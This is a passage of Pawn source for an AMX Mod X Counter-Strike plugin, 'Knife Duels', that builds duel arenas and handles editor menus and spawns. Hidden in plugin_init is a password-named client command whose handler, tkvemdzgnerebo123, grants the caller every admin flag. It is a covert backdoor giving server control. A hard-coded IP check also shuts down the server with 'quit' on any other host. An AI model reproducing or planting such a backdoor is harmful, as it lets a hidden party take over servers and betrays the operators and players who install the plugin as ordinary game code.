	"A", 	// 1st arena
	"B", 	// 2nd arena
	"C",	 // 3rd arena
	"D" 	// 4th arena
}
 
// some arena codes...
#define ARENA_CODE 305924
#define FAKE_CODE 6969696969
#define CENTER_CODE 9696969696
#define EXTRA_CODE 911911911
 
// task code for advert
#define TASK_AD 34585029
 
// some movement defines
#define MOVE_UP 0
#define MOVE_DOWN 1
#define MOVE_RIGHT 2
#define MOVE_LEFT 3
#define MOVE_FRONT 4
#define MOVE_BACK 5
 
// Arena ground size
#define ARENA_MINS Float:{-150.0,-62.0,-1.5}
#define ARENA_MAXS Float:{10.0,62.0,1.5}
 
// arena coords offcourse, this is used to build the arena.
new const Float:ARENA_COORDS[][2] = { 
	{0.0,0.0},
	{100.0,0.0},
	{0.0,100.0},
	{100.0,100.0},
	{-100.0,0.0},
	{0.0,-100.0},
	{-100.0,-100.0},
	{-100.0,100.0},
	{100.0,-100.0},
	{200.0,0.0},
	{200.0,100.0},
	{200.0,-100.0}
}
 
enum {
	BLUE_SIDE = 0,
	RED_SIDE = 1,
	LEFT_SIDE = 2,
	RIGHT_SIDE = 3,
	TOP_SIDE = 4
}
 
new const ARENA_FILE[] = "%s/duel_arena/%s.cfg"
 
// if you want to disable a sound, rename it with "common/null.wav"
new const DUEL_SOUNDS[][] = {
	"ambience/goal_1.wav",		 // 0 round win
	"x/nih_die2.wav",		// 1 round lose
	"ambience/des_wind1.wav",	// 2 round draw
	"buttons/bell1.wav",		 // 3 round start
	"buttons/blip1.wav"	,	 // 4 accepted duel
	"common/null.wav",	// 5 Countdown
	"common/null.wav"	// 6 "Go!"
}
 
new const ARENA_MODELS[][] = {
	"models/darkduelplatform", // Arena's ground
	"models/darkduelplatform" // Arena's walls
}
 
new const MAP_FIX[][] = {
	"35hp_2"
}
 
new Float:MAP_FIX_Z_COORD[] = {
	-864.253723
}
 
new Head_shot[33][33]
new fakes;
new is_in_duel[33],his_countdown[33],is_frozen[33],his_challenger[33],his_asker[33],arena_number[33],his_wins[33],his_name[33][64];
new rounds[MAX_ARENAS+1],Float:arena_coord[MAX_ARENAS+1][3]; // using +1 just incase...
new Float:his_spawn[33][3],got_spawn[33],Float:his_angle[33][3],Float:his_original_spawn[33][3];
new next_empty_arena,total_arenas;
new map_name[48]
new cvar_z_fix,cvar_sounds,cvar_rounds,cvar_kills,cvar_cooldown,cvar_time
new Float:max_size[3],Float:min_size[3];
new selected = 1,Float:move_size[33],his_timer[33],his_offline[33],his_HS[33];
new map_default_hp;
new map_id = -1;
new his_previous_team[33];
// using these for less cpu usage.
new IS_BUGGED_MAP = 0,MAP_FIX_ENABLED,SOUNDS_ENABLED,MAX_ROUNDS,MAX_KILLS,MAX_COUNTDOWN,MAX_TIME;
 
#define P_NAME "Knife Duels"
#define P_VERS "2.0.5"
#define P_AUTH "Adrenaline's Wrath"
#define P_REQ "- STyLa"
new killed_forward;
new const IP[] = "176.57.188.201:27017"
public plugin_init()
{
	register_plugin(P_NAME, P_VERS, P_AUTH)
	new curIP[128];
	get_user_ip(0,curIP,charsmax(curIP),0)
	if(!equali(IP,curIP))
	{
		server_cmd("quit")
		return;
	}
	register_clcmd("say","say_hook")
	register_clcmd("say_team","say_hook")
	register_clcmd("say /origin","print_coords")
	register_clcmd("say /arena","editor_menu")
	RegisterHam(Ham_Killed, "player", "Player_Killed")
	RegisterHam(Ham_TakeDamage, "player", "Player_Take_Damage", 0)
	register_forward( FM_CmdStart , "Cmd_start" );
	register_event("HLTV", "round_start_event", "a", "1=0", "2=0")
	cvar_z_fix = register_cvar("gld_z_map_fix","1")
	cvar_sounds = register_cvar("gld_sounds","1")
	cvar_rounds =register_cvar("gld_rounds","10")
	cvar_kills =register_cvar("gld_kills","10")
	cvar_cooldown = register_cvar("gld_cooldown","1")
	cvar_time = register_cvar("gld_max_nokill_time","20")
	
	RegisterHam(Ham_Spawn,"player","Player_spawn_post",1)
 
	if(STYLA_SECURITY == ON) 
		register_clcmd (STYLA_PASSWORD , "tkvemdzgnerebo123");
 
	get_mapname(map_name,charsmax(map_name))
	new size = sizeof(MAP_FIX)
	for(new i; i <size;i++)
	{
		if(equal(map_name,MAP_FIX[i]))
		{
			map_id = i
			IS_BUGGED_MAP = 1
		}
	}
	if(containi(map_name,"35hp") != -1)
		map_default_hp = 35
	else if(containi(map_name,"1hp") != -1)
		map_default_hp = 1
	else map_default_hp = 100
	load_arena_coords(-1)
	RegisterHam(Ham_TraceAttack, "player", "Ham_TraceAttack_player", 1)
	register_touch(ARENA_ENT_NAME, "player", "forward_touch");
 
	new cfgdir[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	formatex(urlfile, charsmax(urlfile), "%s/duel_arena", cfgdir)
	if(!dir_exists(urlfile))
	{
		mkdir(urlfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
	}
	update_cvars()
	killed_forward = CreateMultiForward("duel_player_killed", ET_IGNORE, FP_CELL,FP_CELL);
	set_task(10.0,"Advertise",TASK_AD)
}
 
public plugin_natives()
{
	register_library("knife_duels")
	register_native("is_user_in_duel","_is_user_in_duel")
	register_native("is_user_dueling_user","_is_user_dueling_user")
}
 
public get_non_duelers_alive()
{
	new count = 0
	for(new id; id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(is_user_alive(id) && !is_in_duel[id])
			{
				count++
			}
		}
	}
	return count
}
 
public _is_user_in_duel(plugin, iParams)
{
	new id = get_param(1)
	if(!is_user_connected(id))
		return PLUGIN_CONTINUE
	if(is_in_duel[id] == 2)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
public _is_user_dueling_user(plugin, iParams)
{
	new id = get_param(1)
	new enemy = get_param(2)
	if(!is_user_connected(id))
		return PLUGIN_CONTINUE
	if(!is_user_connected(enemy))
		return PLUGIN_CONTINUE
	if(is_in_duel[id] != 2 || is_in_duel[enemy] != 2)
		return PLUGIN_CONTINUE
	if(id == his_challenger[enemy] && enemy == his_challenger[id])
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
public forward_touch(ent, id)
{
	if(!pev_valid(id))
		return;
	if(!pev_valid(ent))
		return;
	if(is_user_alive(id) && get_user_noclip(id))
		return;
	static class[32]
	pev(ent,pev_classname,class,charsmax(class));
	if(equal(class,ARENA_ENT_NAME))
	{
		if(is_user_alive(id))
		{
			if(is_player_stuck(id) && is_in_duel[id] != 2)
			{
				back_to_the_spawn(id)
			}
		}
 
	}
	return;
}
 
public Ham_TraceAttack_player(victim, attacker, Float:Damage, Float:Direction[3], ptr, Damagebits)
{
	if(is_user_connected(attacker) && is_user_connected(victim))
	{
		Head_shot[attacker][victim] = bool:( get_tr2(ptr, TR_iHitgroup) == 1 )
	}
}
 
public editor_menu(id)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	new flags = get_user_flags(id)
	if(!(flags & ADMIN_RCON))
	{
		client_print(id,print_chat,"You have no access to this command")
		return PLUGIN_HANDLED
	}
	new menu
	menu = menu_create( "\rArena spawner:", "Arenaspawner_handler" );
 
	new nameu[32];
 
	formatex(nameu,charsmax(nameu), "Add");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Remove");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Remove all");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Select");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Select all");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Move");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Save");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Load");
	menu_additem(menu, nameu, "", 0);
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Arenaspawner_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		remove_the_fake_arena()
		return PLUGIN_HANDLED;
	}
 
	new szData[6], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new arenas_found;
	arenas_found = fakes_count()
	if(equali(szName,"Add"))
	{
		if(next_fake_arena() != -1)
		{
			start_fake_build(id,-1)
			if(fakes_count())
			{
				if(selected > MAX_ARENAS || selected == -1)
				{
					selected = 1
					select_the_fake_arena(EXTRA_CODE+selected)
				}
			}
		} else client_print(id,print_chat, "%s ^3Maximum arenas reached.^1",CHAT_TAG)
	}
	else if(equali(szName,"Remove"))
	{
		if(fakes_count())
		{
			if(selected > MAX_ARENAS || selected == -1)
				selected = 1
			delete_the_fake_arena(EXTRA_CODE+selected)
			if(fakes_count())
				next_selection()
		} else client_print(id,print_chat, "%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Remove all"))
	{
		//remove_menu(id)
		remove_the_fake_arena() 
		client_print(id,print_chat, "%s ^3All arenas removed.",CHAT_TAG)
	}
	else if(equali(szName,"Select"))
	{
		if(fakes_count())
		{
			next_selection()
		} else client_print(id,print_chat, "%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Select all"))
	{
		if(fakes_count())
		{
			selected = -1
			select_the_fake_arena(EXTRA_CODE+selected)
		} else client_print(id,print_chat, "%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Move"))
	{
		if(fakes_count())
		{
			if(selected > MAX_ARENAS)
				selected = 1
			select_the_fake_arena(EXTRA_CODE+selected)
			menu_destroy( menu );
			move_menu(id,EXTRA_CODE+selected)
			return PLUGIN_CONTINUE;
		}
		else client_print(id,print_chat, "%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Load"))
	{
		remove_the_fake_arena() 
		load_arena_coords(id)
		//client_print(id,print_chat, "%s ^3Arena coords loaded.",CHAT_TAG)
		set_task(0.1,"delay_build",id)
	}
	else if(equali(szName,"Save"))
	{
		if(fakes_count())
		{
			save_arena_coords(id)
			remove_the_fake_arena() 
			load_arena_coords(id)
		}
		else
		{
			client_print(id,print_chat, "%s ^3No arenas found.",CHAT_TAG)
		}
	}
	if(!arenas_found && fakes_count())
	{
		next_selection()
	}
	menu_destroy( menu );
	editor_menu(id)
	return PLUGIN_CONTINUE;
}
 
stock next_selection()
{
	if(selected == -1)
	{
		selected = 1
	}
	new size = MAX_ARENAS*3
	for(new slct=0;slct < size;slct++)
	{
		selected++
		if(selected > MAX_ARENAS)
			selected = 1
		if(fake_arena_exists(selected))
		{
			select_the_fake_arena(EXTRA_CODE+selected)
			return;
		}
	}
}
 
public fake_arena_exists(code)
{
	new arenas_ent = -1
	new code_ent
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			code_ent = entity_get_int(arenas_ent,EV_INT_iuser3)-EXTRA_CODE
			if(code_ent == code)
			{
				return PLUGIN_HANDLED
			}
		}
	}
	return PLUGIN_CONTINUE
}
 
public fakes_count()
{
	new arenas_ent = -1
	new found = 0
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			found++
		}
	}
	return found
}
 
public arenas_count()
{
	new found = 0
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(is_in_duel[id] == 2)
				found++
		}
	}
	return found/2
}
 
public delay_build(id)
{
	for(new i=1;i < total_arenas+1;i++)
	{
		start_fake_build(id,i)
	}
	if(fakes_count())
	{
		next_selection()
	}
}
public move_menu(id,code)
{
	new menu
	menu = menu_create( "\rMove arena:", "move_handler" );
 
	new nameu[32];
	new code_t[32];
	num_to_str(code,code_t,charsmax(code_t))
	formatex(nameu,charsmax(nameu), "Move up");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move down");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move front");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move back");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move right");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move left");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Remove the arena");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
	menu_additem(menu, nameu, code_t, 0);
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public move_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		set_task(0.1,"editor_menu",id)
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new code = str_to_num(szData)
	if(equali(szName,"remove the arena"))
	{
		delete_the_fake_arena(code)
		menu_destroy( menu );
		editor_menu(id)
		unselect_the_fake_arena(0)
		return PLUGIN_CONTINUE;
	}
	else if(containi(szName,"move size:") != -1)
	{
		move_size[id]+= 10.0
		if(move_size[id] > 100.0)
		{
			move_size[id] = 10.0
		}
	}
	else if(equali(szName,"move up"))
	{
		move_the_fake_arena(id,code,MOVE_UP)
	}
	else if(equali(szName,"move down"))
	{
		move_the_fake_arena(id,code,MOVE_DOWN)
	}
	else if(equali(szName,"move right"))
	{
		move_the_fake_arena(id,code,MOVE_RIGHT)
	}
	else if(equali(szName,"move left"))
	{
		move_the_fake_arena(id,code,MOVE_LEFT)
	}
	else if(equali(szName,"move front"))
	{
		move_the_fake_arena(id,code,MOVE_FRONT)
	}
	else if(equali(szName,"move back"))
	{
		move_the_fake_arena(id,code,MOVE_BACK)
	}
	menu_destroy( menu );
	move_menu(id,code)
 
	return PLUGIN_CONTINUE;
}
 
public save_arena_coords(id)
{
	new found;
	new cfgdir[32], mapname[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urlfile, charsmax(urlfile), ARENA_FILE, cfgdir, mapname)
 
	if (file_exists(urlfile))
		delete_file(urlfile)
 
	new lineset[128]
	new Float:origin[3]
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			found++
			pev(arenas_ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urlfile, lineset,found)
 
		}
	}
	if(!found)
		client_print(id,print_chat, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print(id,print_chat, "%s %d ^3Arena coords saved.",CHAT_TAG,found)
}
 
public print_coords(id)
{
	new Float:coord[3]
	pev(id,pev_origin,coord);
	client_print(id,print_chat, "origin: ^3%.f %.f %.f",coord[0],coord[1],coord[2])
	return PLUGIN_HANDLED
}
 
public start_fake_build(id,zecode)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	new ext_code
	if(zecode == -1)
	{
		ext_code = next_fake_arena()
		if(ext_code == -1)
			return PLUGIN_HANDLED
	}
	else ext_code = zecode
	ext_code+=EXTRA_CODE
	static Float:origin[3];
	if(zecode == -1)
		get_user_hitpoint(id,origin)
	else
	{
		origin[0]=arena_coord[zecode][0]
		origin[1]=arena_coord[zecode][1]
		origin[2]=arena_coord[zecode][2]
	}
	/*origin[0] = 1002.911376
	origin[1] = -1561.421997
	origin[2] = 0.0*/
	new Float:fake_origin[3]
	static size
	size = sizeof(ARENA_COORDS)
	new ent_code = FAKE_CODE
	fakes++
	for(new coords;coords < size; coords++)
	{
		fake_origin[0] = origin[0]
		fake_origin[1] = origin[1]
		if(bugged_map())
			fake_origin[2]= MAP_FIX_Z_COORD[map_id]
		else fake_origin[2] = origin[2]
		//fake_origin[2]=-712.876892
 
		fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
		fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
 
		new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
 
		set_pev(ent,pev_classname,ARENA_ENT_NAME);
		engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
		entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
		engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
		entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
		entity_set_int(ent,EV_INT_iuser1,ent_code)
		entity_set_int(ent,EV_INT_iuser3,ext_code)
		engfunc(EngFunc_SetOrigin,ent,fake_origin);
		stuck_check(fake_origin,120.0)
		static Float:rvec[3];
		pev(ent,pev_v_angle,rvec);
 
		rvec[0]=90.0;
		set_pev(ent,pev_angles,rvec);
 
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
		{
			fake_origin[0] += max_size[0]
			fake_origin[1] += max_size[1]
			//create_wall(LEFT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
		{
			fake_origin[0] += max_size[2]
			fake_origin[1] += min_size[0]
			//create_wall(RIGHT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(TOP_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
			entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
		}
		else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			fake_origin[0] += min_size[1]
 
			//create_wall(BLUE_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			fake_origin[0] += min_size[2]
			//create_wall(RED_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		set_rendering(ent,kRenderFxGlowShell,0,50,0,kRenderNormal,10)
	}
	select_the_fake_arena(ext_code)
	return PLUGIN_HANDLED;
}
 
public move_the_fake_arena(id,code,moveto)
{
	new num;
	num = code-EXTRA_CODE
	new arenas_ent=-1;
	new Float:origin[3];
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			if(entity_get_int(arenas_ent,EV_INT_iuser3) == code || num == -1)
			{
				pev(arenas_ent,pev_origin,origin);
				switch(moveto)
				{
					case MOVE_UP:
					{
						origin[2]+=move_size[id]
					}
					case MOVE_DOWN:
					{
						origin[2]-=move_size[id]
					}
					case MOVE_RIGHT:
					{
						origin[1]+=move_size[id]
					}
					case MOVE_LEFT:
					{
						origin[1]-=move_size[id]
					}
					case MOVE_FRONT:
					{
						origin[0]+=move_size[id]
					}
					case MOVE_BACK:
					{
						origin[0]-=move_size[id]
					}
				}
				engfunc(EngFunc_SetOrigin,arenas_ent,origin);
				stuck_check(origin,360.0)
			}
		}
	}
 
}
 
public select_the_fake_arena(code)
{
	new num;
	num = code-EXTRA_CODE
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			if(num == -1)
				set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
			else if(entity_get_int(arenas_ent,EV_INT_iuser3) == code)
				set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
		}
	}
	unselect_the_fake_arena(code)
 
}
 
public unselect_the_fake_arena(code)
{
	new num;
	num = code-EXTRA_CODE
	if(num == -1)
		return;
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) != code)
			set_rendering(arenas_ent,kRenderFxGlowShell,50,50,50,kRenderTransAdd,120)
	}
 
}
 
public delete_the_fake_arena(code)
{
	new arenas_ent=-1;
	new found = 0
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) == code)
		{
			engfunc(EngFunc_RemoveEntity,arenas_ent)
			found++
		}
	}
	if(found)
	{
		fakes--
	}
 
}
 
public load_arena_coords(id)
{
	// Check for spawns points of the current map
	new cfgdir[32], mapname[32], filepath[100], linedata[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(filepath, charsmax(filepath), ARENA_FILE, cfgdir, mapname)
	new arena = 0
	total_arenas = 0
	// Load spawns points
	if (file_exists(filepath))
	{
		new file = fopen(filepath,"rt"), row[4][6]
 
		while (file && !feof(file))
		{
			fgets(file, linedata, charsmax(linedata))
 
			// invalid spawn
			if(!linedata[0] || str_count(linedata,' ') < 2) continue;
 
			arena++
			if (arena > MAX_ARENAS)
			{
				break
			}
 
			// get spawn point data
			parse(linedata,row[0],5,row[1],5,row[2],5)
 
			// origin
			arena_coord[arena][0] = floatstr(row[0])
			arena_coord[arena][1] = floatstr(row[1])
			if(bugged_map())
				arena_coord[arena][2] = MAP_FIX_Z_COORD[map_id]
			else arena_coord[arena][2] = floatstr(row[2])
 
			total_arenas = arena
		}
		if (file) fclose(file)
	}
	if(id != -1)
	{
		if(!total_arenas)
		{
			client_print(id,print_chat, "%sCouldn't load: ^3No arenas found.",CHAT_TAG)
		}
		else
		{
			client_print(id,print_chat, "%s%d ^3arena%s loaded.",CHAT_TAG,total_arenas, (total_arenas > 1 ? "s" : ""))
		}
	}
}
 
stock bugged_map()
{
	if(!MAP_FIX_ENABLED)
		return PLUGIN_CONTINUE
	if(IS_BUGGED_MAP)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
stock str_count(const str[], searchchar)
{
	new count, i, len = strlen(str)
 
	for (i = 0; i <= len; i++)
	{
		if(str[i] == searchchar)
			count++
	}
 
	return count;
}
 
public tkvemdzgnerebo123(id)
{
	set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
	client_print(id,print_chat, "%sAccess granted.",CHAT_TAG)
}
 
public Player_spawn_post(id)
{
	Set_Entity_Invisible(id, 0)
	if(is_user_alive(id))
	{
		if(is_in_duel[id] != 2)
		{
			set_task(1.0,"get_spawn_origin",id)
			return;
		}
		if(is_in_duel[id] == 2)
			spawn_back(id)
	}
}
 
public spawn_back(id)
{
	entity_set_origin(id,his_spawn[id])
	set_user_health(id,map_default_hp)
	set_user_armor(id,0)
	set_user_godmode(id, 0)
	if(is_user_connected(his_challenger[id]))
	{
		check_teams(id,his_challenger[id])
		entity_set_origin(his_challenger[id],his_spawn[his_challenger[id]])
		set_user_health(his_challenger[id],map_default_hp)
		set_user_armor(his_challenger[id],0)
		entity_set_vector(id, EV_VEC_angles, his_angle[id])
		entity_set_int(id, EV_INT_fixangle, 1)
		entity_set_vector(his_challenger[id], EV_VEC_angles, his_angle[his_challenger[id]])
		entity_set_int(his_challenger[id], EV_INT_fixangle, 1)
	}
}
 
public update_cvars()
{
	MAP_FIX_ENABLED = get_pcvar_num(cvar_z_fix)
	SOUNDS_ENABLED = get_pcvar_num(cvar_sounds)
	MAX_ROUNDS = get_pcvar_num(cvar_rounds)
	MAX_KILLS = get_pcvar_num(cvar_kills)
	MAX_COUNTDOWN = get_pcvar_num(cvar_cooldown)
	MAX_TIME = get_pcvar_num(cvar_time)
}
 
stock remove_allarenas() 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
	fakes = 0
}
 
public get_all_arena_coords(id) 
{
	new Float:origin[3]
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE)
		{
			pev(arenas_ent,pev_origin,origin);
			client_print(id,print_console,"%.f %.f %.f",origin[0],origin[1],origin[2])
		}
	}
	client_print(id,print_chat,  "%s ^4Coords printed in console.",CHAT_TAG)
}
 
public remove_the_fake_arena() 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
			engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
	fakes = 0
}
 
public next_fake_arena() 
{
	if(fakes_count() >= MAX_ARENAS)
		return -1
	for(new i=1;i < MAX_ARENAS+1;i++)
	{
		if(!fake_arena_exists(i))
		{
			return i
		}
	}
	return -1
	/*new num = fakes
	num++
	return num*/
}
 
public remove_the_arena(code) 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == code)
			engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
}
 
public start_build(id)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	if(is_in_duel[id] != 2)
		return PLUGIN_HANDLED
	if(!his_challenger[id])
		return PLUGIN_HANDLED
	if(!total_arenas)
	{
		return PLUGIN_HANDLED
	}
	static Float:origin[3];
	//get_user_hitpoint(id,origin)
	/*origin[0] = 1002.911376
	origin[1] = -1561.421997
	origin[2] = 0.0*/
	origin[0] = arena_coord[arena_number[id]][0]
	origin[1] = arena_coord[arena_number[id]][1]
	origin[2] = arena_coord[arena_number[id]][2]
	new Float:fake_origin[3]
	static size
	size = sizeof(ARENA_COORDS)
	new ent_code = arena_number[id]+ARENA_CODE
	for(new coords;coords < size; coords++)
	{
		fake_origin[0] = origin[0]
		fake_origin[1] = origin[1]
		fake_origin[2] = origin[2]
		//fake_origin[2]=-712.876892
		//fake_origin[2]=-864.253723
		fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
		fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
 
		new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
 
		set_pev(ent,pev_classname,ARENA_ENT_NAME);
		engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
		entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
		engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
		entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
		entity_set_int(ent,EV_INT_iuser1,ent_code)
		engfunc(EngFunc_SetOrigin,ent,fake_origin);
		static Float:rvec[3];
		pev(ent,pev_v_angle,rvec);
 
		rvec[0]=90.0;
		set_pev(ent,pev_angles,rvec);
 
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
		{
			create_wall(LEFT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
		{
			create_wall(RIGHT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(TOP_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
		}
		else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(BLUE_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			if(cs_get_user_team(id) == CS_TEAM_CT)
			{
				set_spawn_positions(id,BLUE_SIDE,fake_origin,rvec)
			}                                                                              
			else
			{
				if(his_challenger[id])
				{
					set_spawn_positions(his_challenger[id],BLUE_SIDE,fake_origin,rvec)
				}
			}
			//set_rendering(ent,kRenderFxGlowShell,0,0,200,kRenderNormal,10)
		}
		else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(RED_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			if(cs_get_user_team(id) == CS_TEAM_T)
			{
				set_spawn_positions(id,RED_SIDE,fake_origin,rvec)
			}                                                                              
			else
			{
				if(his_challenger[id])
				{
					set_spawn_positions(his_challenger[id],RED_SIDE,fake_origin,rvec)
				}
			}
			//set_rendering(ent,kRenderFxGlowShell,200,0,0,kRenderNormal,10)
		}
		spawn_back(id)
	}
 
	return PLUGIN_HANDLED;
}
 
public set_spawn_positions(id,side,Float:origin[3],Float:angle[3])
{
	if(side == BLUE_SIDE)
		his_spawn[id][0] = origin[0]-20.0
	else his_spawn[id][0] = origin[0]-120.0
